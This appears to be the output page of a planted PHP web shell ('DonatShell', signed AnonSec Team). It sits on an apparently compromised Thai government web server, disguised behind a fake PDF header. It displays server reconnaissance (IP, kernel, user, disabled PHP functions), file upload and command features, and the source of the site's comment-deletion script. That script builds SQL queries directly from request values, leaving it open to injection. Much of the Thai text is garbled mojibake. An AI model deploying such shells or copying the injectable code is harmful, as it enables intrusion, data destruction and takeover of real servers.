%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : phunphin ( 1164)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/phunphin/domains/phunphin.go.th/public_html/webboard/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/phunphin/domains/phunphin.go.th/public_html/webboard/admin//delcomt.php
<?
		session_start();
		if($user==""){
		$message = "¡ÃØ³Ò Login ¡è͹.";
			$url = "../../admin/index.php";
			include("../../admin/alert.php");
			exit;
       }
?>  
<title>-=- ź¢éÍÁÙÅàÃÕºÃéÍÂáÅéÇ -=-</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="style.css" type="text/css">
</head>
<body bgcolor="#FFFFFF">
<?
require("../config.inc.php");

		#ãªèáÅéÇźä´éàÅÂź Comment ¡è͹àÅÂáÅÐźÃÙ»ÍÍ¡¨Ò¡Ãкº´éÇÂ
		mysql_connect($host,$user_db,$passwd_db);
		mysql_query ("SET NAMES 'tis620'");
		$sql_c = "select * from webboard_ans where QuestionNo='$No' and No_com='$comt'";
		$c_query = mysql_db_query($dbname,$sql_c) or die ("äÁèÊÒÁÒöÊÑè§ãËé database ·Ó§Ò¹ä´éã¹¢³Ð¹Õé");
		while( $c_arr = mysql_fetch_row( $c_query ) )
			{
		#·Ó¡ÒÃàªç¤¡è͹ÇèÒÁÕä¿ÅìÃÙ»ËÃ×ÍäÁè
			if($c_arr[9]==""){  }else{
				$file_com = "$path/$c_arr[9]";  #ä¿ÅìÃÙ»
			if (file_exists( $file_com )) { unlink("$file_com"); } else {  };  #·Ó¡ÒÃźÃÙ»ÍÍ¡ä»
			};
		}

		#·Ó¡ÒÃź¢éÍÁÙÅ
		$sql = "DELETE FROM webboard_ans WHERE QuestionNo='$No' and No_com='$comt'";
		$result = mysql_db_query($dbname,$sql);

		#·Ó¡ÒÃÍѾവ¢éÍÁÙÅ
		$sql1 = "UPDATE webboard_data Set Reply=Reply-1 WHERE No='$No'";
		$result1 = mysql_db_query($dbname,$sql1);

		mysql_close();

#âªÇìÃÒÂÅÐàÍÕ´
print "<meta http-equiv=refresh content=0;URL=show.php?Category=$Category&No=$No>";
?>
</body>
</html>

Anon7 - 2022
AnonSec Team